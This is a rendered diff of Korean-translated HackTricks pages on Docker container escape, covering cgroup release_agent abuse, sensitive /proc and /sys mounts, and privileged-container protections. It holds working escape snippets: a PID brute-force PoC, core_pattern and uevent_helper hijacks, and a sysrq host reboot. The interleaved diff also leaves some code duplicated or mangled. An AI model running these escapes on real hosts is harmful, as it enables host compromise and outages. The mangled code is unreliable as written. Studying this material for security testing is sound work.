3. **실행 트리거:** 추측한 PID 경로가 `cgroups release_agent` 파일에 기록됩니다. 이 작업은 `release_agent`의 실행을 트리거합니다. 이 단계의 성공은 출력 파일의 생성 여부를 확인하여 확인됩니다.
### Exploitation Process
### 익스플로잇 과정
The exploitation process involves a more detailed set of actions, aiming to execute a payload on the host by guessing the correct PID of a process running inside the container. Here's how it unfolds:
익스플로잇 과정은 컨테이너 내에서 실행 중인 프로세스의 올바른 PID를 추측하여 호스트에서 페이로드를 실행하는 것을 목표로 하는 보다 상세한 일련의 작업을 포함합니다. 다음은 그 진행 방식입니다:
1. **Initialize Environment:** A payload script (`payload.sh`) is prepared on the host, and a unique directory is created for cgroup manipulation.
2. **Prepare Payload:** The payload script, which contains the commands to be executed on the host, is written and made executable.
3. **Set Up Cgroup:** The cgroup is mounted and configured. The `notify_on_release` flag is set to ensure that the payload executes when the cgroup is released.
4. **Brute Force PID:** A loop iterates through potential PIDs, writing each guessed PID to the `release_agent` file. This effectively sets the payload script as the `release_agent`.
5. **Trigger and Check Execution:** For each PID, the cgroup's `cgroup.procs` is written to, triggering the execution of the `release_agent` if the PID is correct. The loop continues until the output of the payload script is found, indicating successful execution.
PoC from the blog post:
1. **환경 초기화:** 호스트에서 페이로드 스크립트(`payload.sh`)가 준비되고, cgroup 조작을 위한 고유한 디렉토리가 생성됩니다.
2. **페이로드 준비:** 호스트에서 실행될 명령을 포함하는 페이로드 스크립트가 작성되고 실행 가능하게 설정됩니다.
3. **Cgroup 설정:** cgroup이 마운트되고 구성됩니다. `notify_on_release` 플래그가 설정되어 cgroup이 해제될 때 페이로드가 실행되도록 합니다.
4. **PID 브루트 포스:** 루프가 잠재적인 PID를 반복하며, 각 추측한 PID를 `release_agent` 파일에 기록합니다. 이는 페이로드 스크립트를 `release_agent`로 설정하는 효과를 냅니다.
5. **실행 트리거 및 확인:** 각 PID에 대해 cgroup의 `cgroup.procs`에 기록하여, PID가 올바른 경우 `release_agent`의 실행을 트리거합니다. 출력이 발견될 때까지 루프가 계속되며, 이는 성공적인 실행을 나타냅니다.
블로그 게시물의 PoC:
```bash
#!/bin/sh
@ -60,20 +59,20 @@ echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done
# Wait for and cat the output
@ -81,5 +80,4 @@ sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
```
{{#include ../../../../banners/hacktricks-training.md}}

View File

@ -2,172 +2,168 @@
{{#include ../../../../banners/hacktricks-training.md}}
<figure><img src="../../../..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
`/proc``/sys`의 적절한 네임스페이스 격리 없이 노출되면 공격 표면 확대 및 정보 유출을 포함한 상당한 보안 위험이 발생합니다. 이러한 디렉토리는 민감한 파일을 포함하고 있으며, 잘못 구성되거나 무단 사용자가 접근할 경우 컨테이너 탈출, 호스트 수정 또는 추가 공격에 도움이 되는 정보를 제공할 수 있습니다. 예를 들어, `-v /proc:/host/proc`를 잘못 마운트하면 경로 기반 특성으로 인해 AppArmor 보호를 우회할 수 있으며, `/host/proc`가 보호되지 않게 됩니다.
{% embed url="https://websec.nl/" %}
The exposure of `/proc` and `/sys` without proper namespace isolation introduces significant security risks, including attack surface enlargement and information disclosure. These directories contain sensitive files that, if misconfigured or accessed by an unauthorized user, can lead to container escape, host modification, or provide information aiding further attacks. For instance, incorrectly mounting `-v /proc:/host/proc` can bypass AppArmor protection due to its path-based nature, leaving `/host/proc` unprotected.
**You can find further details of each potential vuln in** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
**각 잠재적 취약점에 대한 추가 세부정보는** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**에서 확인할 수 있습니다.**
## procfs Vulnerabilities
### `/proc/sys`
This directory permits access to modify kernel variables, usually via `sysctl(2)`, and contains several subdirectories of concern:
이 디렉토리는 일반적으로 `sysctl(2)`를 통해 커널 변수를 수정할 수 있는 접근을 허용하며, 여러 개의 우려되는 하위 디렉토리를 포함합니다:
#### **`/proc/sys/kernel/core_pattern`**
- Described in [core(5)](https://man7.org/linux/man-pages/man5/core.5.html).
- Allows defining a program to execute on core-file generation with the first 128 bytes as arguments. This can lead to code execution if the file begins with a pipe `|`.
- **Testing and Exploitation Example**:
- [core(5)](https://man7.org/linux/man-pages/man5/core.5.html)에서 설명됨.
- 코어 파일 생성 시 실행할 프로그램을 정의할 수 있으며, 첫 128 바이트가 인수로 사용됩니다. 파일이 파이프 `|`로 시작하면 코드 실행으로 이어질 수 있습니다.
- **테스트 및 악용 예시**:
```bash
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test write access
cd /proc/sys/kernel
echo "|$overlay/shell.sh" > core_pattern # Set custom handler
sleep 5 && ./crash & # Trigger handler
```
```bash
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # 쓰기 접근 테스트
cd /proc/sys/kernel
echo "|$overlay/shell.sh" > core_pattern # 사용자 정의 핸들러 설정
sleep 5 && ./crash & # 핸들러 트리거
```
#### **`/proc/sys/kernel/modprobe`**
- Detailed in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
- Contains the path to the kernel module loader, invoked for loading kernel modules.
- **Checking Access Example**:
- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)에서 자세히 설명됨.
- 커널 모듈 로더의 경로를 포함하며, 커널 모듈을 로드하기 위해 호출됩니다.
- **접근 확인 예시**:
```bash
ls -l $(cat /proc/sys/kernel/modprobe) # Check access to modprobe
```
```bash
ls -l $(cat /proc/sys/kernel/modprobe) # modprobe 접근 확인
```
#### **`/proc/sys/vm/panic_on_oom`**
- Referenced in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
- A global flag that controls whether the kernel panics or invokes the OOM killer when an OOM condition occurs.
- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)에서 참조됨.
- OOM 조건이 발생할 때 커널이 패닉을 일으키거나 OOM 킬러를 호출할지를 제어하는 전역 플래그입니다.
#### **`/proc/sys/fs`**
- As per [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html), contains options and information about the file system.
- Write access can enable various denial-of-service attacks against the host.
- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)에 따라 파일 시스템에 대한 옵션 및 정보를 포함합니다.
- 쓰기 접근은 호스트에 대한 다양한 서비스 거부 공격을 가능하게 할 수 있습니다.
#### **`/proc/sys/fs/binfmt_misc`**
- Allows registering interpreters for non-native binary formats based on their magic number.
- Can lead to privilege escalation or root shell access if `/proc/sys/fs/binfmt_misc/register` is writable.
- Relevant exploit and explanation:
- [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc)
- In-depth tutorial: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
- 매직 넘버에 따라 비네이티브 이진 형식에 대한 인터프리터를 등록할 수 있습니다.
- `/proc/sys/fs/binfmt_misc/register`가 쓰기 가능할 경우 권한 상승 또는 루트 셸 접근으로 이어질 수 있습니다.
- 관련된 악용 및 설명:
- [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc)
- 심층 튜토리얼: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
### Others in `/proc`
#### **`/proc/config.gz`**
- May reveal the kernel configuration if `CONFIG_IKCONFIG_PROC` is enabled.
- Useful for attackers to identify vulnerabilities in the running kernel.
- `CONFIG_IKCONFIG_PROC`가 활성화된 경우 커널 구성을 노출할 수 있습니다.
- 공격자가 실행 중인 커널의 취약점을 식별하는 데 유용합니다.
#### **`/proc/sysrq-trigger`**
- Allows invoking Sysrq commands, potentially causing immediate system reboots or other critical actions.
- **Rebooting Host Example**:
- Sysrq 명령을 호출할 수 있으며, 즉각적인 시스템 재부팅 또는 기타 중요한 작업을 유발할 수 있습니다.
- **호스트 재부팅 예시**:
```bash
echo b > /proc/sysrq-trigger # Reboots the host
```
```bash
echo b > /proc/sysrq-trigger # 호스트 재부팅
```
#### **`/proc/kmsg`**
- Exposes kernel ring buffer messages.
- Can aid in kernel exploits, address leaks, and provide sensitive system information.
- 커널 링 버퍼 메시지를 노출합니다.
- 커널 악용, 주소 유출 및 민감한 시스템 정보를 제공하는 데 도움이 될 수 있습니다.
#### **`/proc/kallsyms`**
- Lists kernel exported symbols and their addresses.
- Essential for kernel exploit development, especially for overcoming KASLR.
- Address information is restricted with `kptr_restrict` set to `1` or `2`.
- Details in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
- 커널에서 내보낸 심볼과 그 주소를 나열합니다.
- KASLR을 극복하기 위한 커널 악용 개발에 필수적입니다.
- 주소 정보는 `kptr_restrict``1` 또는 `2`로 설정된 경우 제한됩니다.
- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)에서 자세한 내용.
#### **`/proc/[pid]/mem`**
- Interfaces with the kernel memory device `/dev/mem`.
- Historically vulnerable to privilege escalation attacks.
- More on [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
- 커널 메모리 장치 `/dev/mem`와 인터페이스합니다.
- 역사적으로 권한 상승 공격에 취약했습니다.
- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)에서 더 많은 정보.
#### **`/proc/kcore`**
- Represents the system's physical memory in ELF core format.
- Reading can leak host system and other containers' memory contents.
- Large file size can lead to reading issues or software crashes.
- Detailed usage in [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/).
- 시스템의 물리적 메모리를 ELF 코어 형식으로 나타냅니다.
- 읽기는 호스트 시스템 및 다른 컨테이너의 메모리 내용을 유출할 수 있습니다.
- 큰 파일 크기는 읽기 문제 또는 소프트웨어 충돌을 초래할 수 있습니다.
- [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/)에서 자세한 사용법.
#### **`/proc/kmem`**
- Alternate interface for `/dev/kmem`, representing kernel virtual memory.
- Allows reading and writing, hence direct modification of kernel memory.
- 커널 가상 메모리를 나타내는 `/dev/kmem`의 대체 인터페이스입니다.
- 읽기 및 쓰기를 허용하므로 커널 메모리를 직접 수정할 수 있습니다.
#### **`/proc/mem`**
- Alternate interface for `/dev/mem`, representing physical memory.
- Allows reading and writing, modification of all memory requires resolving virtual to physical addresses.
- 물리적 메모리를 나타내는 `/dev/mem`의 대체 인터페이스입니다.
- 읽기 및 쓰기를 허용하며, 모든 메모리 수정을 위해 가상 주소를 물리적 주소로 변환해야 합니다.
#### **`/proc/sched_debug`**
- Returns process scheduling information, bypassing PID namespace protections.
- Exposes process names, IDs, and cgroup identifiers.
- PID 네임스페이스 보호를 우회하여 프로세스 스케줄링 정보를 반환합니다.
- 프로세스 이름, ID 및 cgroup 식별자를 노출합니다.
#### **`/proc/[pid]/mountinfo`**
- Provides information about mount points in the process's mount namespace.
- Exposes the location of the container `rootfs` or image.
- 프로세스의 마운트 네임스페이스에서 마운트 지점에 대한 정보를 제공합니다.
- 컨테이너 `rootfs` 또는 이미지의 위치를 노출합니다.
### `/sys` Vulnerabilities
#### **`/sys/kernel/uevent_helper`**
- Used for handling kernel device `uevents`.
- Writing to `/sys/kernel/uevent_helper` can execute arbitrary scripts upon `uevent` triggers.
- **Example for Exploitation**: %%%bash
- 커널 장치 `uevents`를 처리하는 데 사용됩니다.
- `/sys/kernel/uevent_helper`에 쓰면 `uevent` 트리거 시 임의의 스크립트를 실행할 수 있습니다.
- **악용 예시**: %%%bash
#### Creates a payload
#### 페이로드 생성
echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper
echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper
#### Finds host path from OverlayFS mount for container
#### OverlayFS 마운트에서 호스트 경로 찾기
host*path=$(sed -n 's/.*\perdir=(\[^,]\_).\*/\1/p' /etc/mtab)
host*path=$(sed -n 's/.*\perdir=(\[^,]\_).\*/\1/p' /etc/mtab)
#### Sets uevent_helper to malicious helper
#### 악성 헬퍼로 uevent_helper 설정
echo "$host_path/evil-helper" > /sys/kernel/uevent_helper
echo "$host_path/evil-helper" > /sys/kernel/uevent_helper
#### Triggers a uevent
#### uevent 트리거
echo change > /sys/class/mem/null/uevent
echo change > /sys/class/mem/null/uevent
#### Reads the output
#### 출력 읽기
cat /output %%%
cat /output %%%
#### **`/sys/class/thermal`**
- Controls temperature settings, potentially causing DoS attacks or physical damage.
- 온도 설정을 제어하며, 서비스 거부 공격이나 물리적 손상을 초래할 수 있습니다.
#### **`/sys/kernel/vmcoreinfo`**
- Leaks kernel addresses, potentially compromising KASLR.
- 커널 주소를 유출하여 KASLR을 손상시킬 수 있습니다.
#### **`/sys/kernel/security`**
- Houses `securityfs` interface, allowing configuration of Linux Security Modules like AppArmor.
- Access might enable a container to disable its MAC system.
- Linux 보안 모듈(AppArmor 등)의 구성을 허용하는 `securityfs` 인터페이스를 포함합니다.
- 접근이 가능하면 컨테이너가 자신의 MAC 시스템을 비활성화할 수 있습니다.
#### **`/sys/firmware/efi/vars` and `/sys/firmware/efi/efivars`**
#### **`/sys/firmware/efi/vars` `/sys/firmware/efi/efivars`**
- Exposes interfaces for interacting with EFI variables in NVRAM.
- Misconfiguration or exploitation can lead to bricked laptops or unbootable host machines.
- NVRAM에서 EFI 변수와 상호작용하기 위한 인터페이스를 노출합니다.
- 잘못된 구성이나 악용은 브릭된 노트북이나 부팅 불가능한 호스트 머신으로 이어질 수 있습니다.
#### **`/sys/kernel/debug`**
- `debugfs` offers a "no rules" debugging interface to the kernel.
- History of security issues due to its unrestricted nature.
- `debugfs`는 커널에 대한 "규칙 없음" 디버깅 인터페이스를 제공합니다.
- 제한 없는 특성으로 인해 보안 문제의 이력이 있습니다.
### References
@ -175,8 +171,4 @@ This directory permits access to modify kernel variables, usually via `sysctl(2)
- [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc_group_understanding_hardening_linux_containers-1-1.pdf)
- [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container_whitepaper.pdf)
<figure><img src="../../../..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{{#include ../../../../banners/hacktricks-training.md}}

View File

@ -2,28 +2,25 @@
{{#include ../../../banners/hacktricks-training.md}}
## What Affects
## 영향을 미치는 것
When you run a container as privileged these are the protections you are disabling:
특권이 있는 컨테이너를 실행할 때 비활성화되는 보호 기능은 다음과 같습니다:
### Mount /dev
### /dev 마운트
In a privileged container, all the **devices can be accessed in `/dev/`**. Therefore you can **escape** by **mounting** the disk of the host.
특권 컨테이너에서는 모든 **장치가 `/dev/`에서 접근 가능합니다**. 따라서 **호스트의** 디스크를 **마운트**하여 **탈출**할 수 있습니다.
{{#tabs}}
{{#tab name="Inside default container"}}
{{#tab name="기본 컨테이너 내부"}}
```bash
# docker run --rm -it alpine sh
ls /dev
console fd mqueue ptmx random stderr stdout urandom
core full null pts shm stdin tty zero
```
{{#endtab}}
{{#tab name="Inside Privileged Container"}}
```bash
# docker run --rm --privileged -it alpine sh
ls /dev
@ -33,17 +30,15 @@ core mqueue ptmx stdin tty26
cpu nbd0 pts stdout tty27 tty47 ttyS0
[...]
```
{{#endtab}}
{{#endtabs}}
### Read-only kernel file systems
### 읽기 전용 커널 파일 시스템
Kernel file systems provide a mechanism for a process to modify the behavior of the kernel. However, when it comes to container processes, we want to prevent them from making any changes to the kernel. Therefore, we mount kernel file systems as **read-only** within the container, ensuring that the container processes cannot modify the kernel.
커널 파일 시스템은 프로세스가 커널의 동작을 수정할 수 있는 메커니즘을 제공합니다. 그러나 컨테이너 프로세스의 경우, 커널에 대한 변경을 방지하고자 합니다. 따라서 우리는 커널 파일 시스템을 컨테이너 내에서 **읽기 전용**으로 마운트하여 컨테이너 프로세스가 커널을 수정할 수 없도록 합니다.
{{#tabs}}
{{#tab name="Inside default container"}}
{{#tab name="기본 컨테이너 내부"}}
```bash
# docker run --rm -it alpine sh
mount | grep '(ro'
@ -52,28 +47,24 @@ cpuset on /sys/fs/cgroup/cpuset type cgroup (ro,nosuid,nodev,noexec,relatime,cpu
cpu on /sys/fs/cgroup/cpu type cgroup (ro,nosuid,nodev,noexec,relatime,cpu)
cpuacct on /sys/fs/cgroup/cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,cpuacct)
```
{{#endtab}}
{{#tab name="Inside Privileged Container"}}
```bash
# docker run --rm --privileged -it alpine sh
mount | grep '(ro'
```
{{#endtab}}
{{#endtabs}}
### Masking over kernel file systems
### 커널 파일 시스템 마스킹
The **/proc** file system is selectively writable but for security, certain parts are shielded from write and read access by overlaying them with **tmpfs**, ensuring container processes can't access sensitive areas.
**/proc** 파일 시스템은 선택적으로 쓰기가 가능하지만 보안을 위해 특정 부분은 **tmpfs**로 덮어씌워져 쓰기 및 읽기 접근이 차단되어 컨테이너 프로세스가 민감한 영역에 접근할 수 없도록 합니다.
> [!NOTE] > **tmpfs** is a file system that stores all the files in virtual memory. tmpfs doesn't create any files on your hard drive. So if you unmount a tmpfs file system, all the files residing in it are lost for ever.
> [!NOTE] > **tmpfs**는 모든 파일을 가상 메모리에 저장하는 파일 시스템입니다. tmpfs는 하드 드라이브에 파일을 생성하지 않습니다. 따라서 tmpfs 파일 시스템을 언마운트하면 그 안에 있는 모든 파일은 영원히 사라집니다.
{{#tabs}}
{{#tab name="Inside default container"}}
```bash
# docker run --rm -it alpine sh
mount | grep /proc.*tmpfs
@ -81,30 +72,26 @@ tmpfs on /proc/acpi type tmpfs (ro,relatime)
tmpfs on /proc/kcore type tmpfs (rw,nosuid,size=65536k,mode=755)
tmpfs on /proc/keys type tmpfs (rw,nosuid,size=65536k,mode=755)
```
{{#endtab}}
{{#tab name="Inside Privileged Container"}}
```bash
# docker run --rm --privileged -it alpine sh
mount | grep /proc.*tmpfs
```
{{#endtab}}
{{#endtabs}}
### Linux capabilities
### 리눅스 기능
Container engines launch the containers with a **limited number of capabilities** to control what goes on inside of the container by default. **Privileged** ones have **all** the **capabilities** accesible. To learn about capabilities read:
컨테이너 엔진은 기본적으로 컨테이너 내부에서 발생하는 일을 제어하기 위해 **제한된 수의 기능**으로 컨테이너를 시작합니다. **특권**이 있는 경우 **모든** **기능**에 접근할 수 있습니다. 기능에 대해 알아보려면 읽어보세요:
{{#ref}}
../linux-capabilities.md
{{#endref}}
{{#tabs}}
{{#tab name="Inside default container"}}
{{#tab name="기본 컨테이너 내부"}}
```bash
# docker run --rm -it alpine sh
apk add -U libcap; capsh --print
@ -113,11 +100,9 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
[...]
```
{{#endtab}}
{{#tab name="Inside Privileged Container"}}
```bash
# docker run --rm --privileged -it alpine sh
apk add -U libcap; capsh --print
@ -126,15 +111,14 @@ Current: =eip cap_perfmon,cap_bpf,cap_checkpoint_restore-eip
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
[...]
```
{{#endtab}}
{{#endtabs}}
You can manipulate the capabilities available to a container without running in `--privileged` mode by using the `--cap-add` and `--cap-drop` flags.
컨테이너에서 `--privileged` 모드로 실행하지 않고도 사용할 수 있는 기능을 `--cap-add``--cap-drop` 플래그를 사용하여 조작할 수 있습니다.
### Seccomp
**Seccomp** is useful to **limit** the **syscalls** a container can call. A default seccomp profile is enabled by default when running docker containers, but in privileged mode it is disabled. Learn more about Seccomp here:
**Seccomp**는 컨테이너가 호출할 수 있는 **syscalls**를 **제한**하는 데 유용합니다. 기본적으로 도커 컨테이너를 실행할 때 기본 seccomp 프로필이 활성화되지만, 특권 모드에서는 비활성화됩니다. Seccomp에 대해 더 알아보려면 여기를 참조하세요:
{{#ref}}
seccomp.md
@ -142,100 +126,86 @@ seccomp.md
{{#tabs}}
{{#tab name="Inside default container"}}
```bash
# docker run --rm -it alpine sh
grep Seccomp /proc/1/status
Seccomp: 2
Seccomp_filters: 1
```
{{#endtab}}
{{#tab name="Inside Privileged Container"}}
```bash
# docker run --rm --privileged -it alpine sh
grep Seccomp /proc/1/status
Seccomp: 0
Seccomp_filters: 0
```
{{#endtab}}
{{#endtabs}}
```bash
# You can manually disable seccomp in docker with
--security-opt seccomp=unconfined
```
Also, note that when Docker (or other CRIs) are used in a **Kubernetes** cluster, the **seccomp filter is disabled by default**
또한, **Kubernetes** 클러스터에서 Docker(또는 다른 CRI)를 사용할 때 **seccomp 필터는 기본적으로 비활성화되어 있습니다.**
### AppArmor
**AppArmor** is a kernel enhancement to confine **containers** to a **limited** set of **resources** with **per-program profiles**. When you run with the `--privileged` flag, this protection is disabled.
**AppArmor****컨테이너**를 **제한된** **리소스** 집합에 **프로그램별 프로필**로 제한하는 커널 향상 기능입니다. `--privileged` 플래그로 실행할 때 이 보호 기능은 비활성화됩니다.
{{#ref}}
apparmor.md
{{#endref}}
```bash
# You can manually disable seccomp in docker with
--security-opt apparmor=unconfined
```
### SELinux
Running a container with the `--privileged` flag disables **SELinux labels**, causing it to inherit the label of the container engine, typically `unconfined`, granting full access similar to the container engine. In rootless mode, it uses `container_runtime_t`, while in root mode, `spc_t` is applied.
`--privileged` 플래그로 컨테이너를 실행하면 **SELinux 레이블**이 비활성화되어 컨테이너 엔진의 레이블, 일반적으로 `unconfined`를 상속받아 컨테이너 엔진과 유사한 전체 액세스를 부여합니다. 루트리스 모드에서는 `container_runtime_t`를 사용하고, 루트 모드에서는 `spc_t`가 적용됩니다.
{{#ref}}
../selinux.md
{{#endref}}
```bash
# You can manually disable selinux in docker with
--security-opt label:disable
```
## 영향을 미치지 않는 것
## What Doesn't Affect
### 네임스페이스
### Namespaces
Namespaces are **NOT affected** by the `--privileged` flag. Even though they don't have the security constraints enabled, they **do not see all of the processes on the system or the host network, for example**. Users can disable individual namespaces by using the **`--pid=host`, `--net=host`, `--ipc=host`, `--uts=host`** container engines flags.
네임스페이스는 **`--privileged`** 플래그의 영향을 **받지 않습니다**. 보안 제약이 활성화되어 있지 않더라도, 예를 들어 **시스템이나 호스트 네트워크의 모든 프로세스를 볼 수는 없습니다**. 사용자는 **`--pid=host`, `--net=host`, `--ipc=host`, `--uts=host`** 컨테이너 엔진 플래그를 사용하여 개별 네임스페이스를 비활성화할 수 있습니다.
{{#tabs}}
{{#tab name="Inside default privileged container"}}
```bash
# docker run --rm --privileged -it alpine sh
ps -ef
PID USER TIME COMMAND
1 root 0:00 sh
18 root 0:00 ps -ef
1 root 0:00 sh
18 root 0:00 ps -ef
```
{{#endtab}}
{{#tab name="Inside --pid=host Container"}}
```bash
# docker run --rm --privileged --pid=host -it alpine sh
ps -ef
PID USER TIME COMMAND
1 root 0:03 /sbin/init
2 root 0:00 [kthreadd]
3 root 0:00 [rcu_gp]ount | grep /proc.*tmpfs
1 root 0:03 /sbin/init
2 root 0:00 [kthreadd]
3 root 0:00 [rcu_gp]ount | grep /proc.*tmpfs
[...]
```
{{#endtab}}
{{#endtabs}}
### User namespace
### 사용자 네임스페이스
**By default, container engines don't utilize user namespaces, except for rootless containers**, which require them for file system mounting and using multiple UIDs. User namespaces, integral for rootless containers, cannot be disabled and significantly enhance security by restricting privileges.
**기본적으로, 컨테이너 엔진은 루트 없는 컨테이너를 제외하고 사용자 네임스페이스를 사용하지 않습니다.** 루트 없는 컨테이너는 파일 시스템 마운팅 및 여러 UID 사용을 위해 사용자 네임스페이스가 필요합니다. 루트 없는 컨테이너에 필수적인 사용자 네임스페이스는 비활성화할 수 없으며, 권한을 제한하여 보안을 크게 향상시킵니다.
## References
## 참조
- [https://www.redhat.com/sysadmin/privileged-flag-container-engines](https://www.redhat.com/sysadmin/privileged-flag-container-engines)

View File

@ -1,44 +1,44 @@
# Namespaces
# 네임스페이스
{{#include ../../../../banners/hacktricks-training.md}}
### **PID namespace**
### **PID 네임스페이스**
{{#ref}}
pid-namespace.md
{{#endref}}
### **Mount namespace**
### **마운트 네임스페이스**
{{#ref}}
mount-namespace.md
{{#endref}}
### **Network namespace**
### **네트워크 네임스페이스**
{{#ref}}
network-namespace.md
{{#endref}}
### **IPC Namespace**
### **IPC 네임스페이스**
{{#ref}}
ipc-namespace.md
{{#endref}}
### **UTS namespace**
### **UTS 네임스페이스**
{{#ref}}
uts-namespace.md
{{#endref}}
### Time Namespace
### 시간 네임스페이스
{{#ref}}
time-namespace.md
{{#endref}}
### User namespace
### 사용자 네임스페이스
{{#ref}}
user-namespace.md

View File

@ -4,17 +4,17 @@
## Basic Information
A cgroup namespace is a Linux kernel feature that provides **isolation of cgroup hierarchies for processes running within a namespace**. Cgroups, short for **control groups**, are a kernel feature that allows organizing processes into hierarchical groups to manage and enforce **limits on system resources** like CPU, memory, and I/O.
cgroup 네임스페이스는 **네임스페이스 내에서 실행되는 프로세스의 cgroup 계층을 격리하는** 리눅스 커널 기능입니다. cgroups는 **제어 그룹**의 약자로, CPU, 메모리 및 I/O와 같은 **시스템 리소스에 대한 제한을 관리하고 시행하기 위해 프로세스를 계층적 그룹으로 조직할 수 있게 해주는 커널 기능입니다.
While cgroup namespaces are not a separate namespace type like the others we discussed earlier (PID, mount, network, etc.), they are related to the concept of namespace isolation. **Cgroup namespaces virtualize the view of the cgroup hierarchy**, so that processes running within a cgroup namespace have a different view of the hierarchy compared to processes running in the host or other namespaces.
cgroup 네임스페이스는 우리가 이전에 논의한 다른 네임스페이스 유형(PID, mount, network 등)과는 별개의 네임스페이스 유형이 아니지만, 네임스페이스 격리 개념과 관련이 있습니다. **Cgroup 네임스페이스는 cgroup 계층의 뷰를 가상화**하여, cgroup 네임스페이스 내에서 실행되는 프로세스가 호스트 또는 다른 네임스페이스에서 실행되는 프로세스와 비교하여 계층의 다른 뷰를 갖도록 합니다.
### How it works:
1. When a new cgroup namespace is created, **it starts with a view of the cgroup hierarchy based on the cgroup of the creating process**. This means that processes running in the new cgroup namespace will only see a subset of the entire cgroup hierarchy, limited to the cgroup subtree rooted at the creating process's cgroup.
2. Processes within a cgroup namespace will **see their own cgroup as the root of the hierarchy**. This means that, from the perspective of processes inside the namespace, their own cgroup appears as the root, and they cannot see or access cgroups outside of their own subtree.
3. Cgroup namespaces do not directly provide isolation of resources; **they only provide isolation of the cgroup hierarchy view**. **Resource control and isolation are still enforced by the cgroup** subsystems (e.g., cpu, memory, etc.) themselves.
1. 새로운 cgroup 네임스페이스가 생성되면, **생성 프로세스의 cgroup을 기반으로 한 cgroup 계층의 뷰로 시작합니다**. 이는 새로운 cgroup 네임스페이스에서 실행되는 프로세스가 전체 cgroup 계층의 하위 집합만 볼 수 있으며, 생성 프로세스의 cgroup에 뿌리를 둔 cgroup 서브트리로 제한된다는 것을 의미합니다.
2. cgroup 네임스페이스 내의 프로세스는 **자신의 cgroup을 계층의 루트로 봅니다**. 이는 네임스페이스 내부의 프로세스 관점에서 자신의 cgroup이 루트처럼 보이며, 자신의 서브트리 외부의 cgroup을 볼 수 없거나 접근할 수 없다는 것을 의미합니다.
3. cgroup 네임스페이스는 리소스의 격리를 직접 제공하지 않습니다; **그들은 단지 cgroup 계층 뷰의 격리만 제공합니다**. **리소스 제어 및 격리는 여전히 cgroup** 서브시스템(예: cpu, memory 등) 자체에 의해 시행됩니다.
For more information about CGroups check:
CGroups에 대한 더 많은 정보는 다음을 확인하세요:
{{#ref}}
../cgroups.md
@ -25,65 +25,55 @@ For more information about CGroups check:
### Create different Namespaces
#### CLI
```bash
sudo unshare -C [--mount-proc] /bin/bash
```
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**.
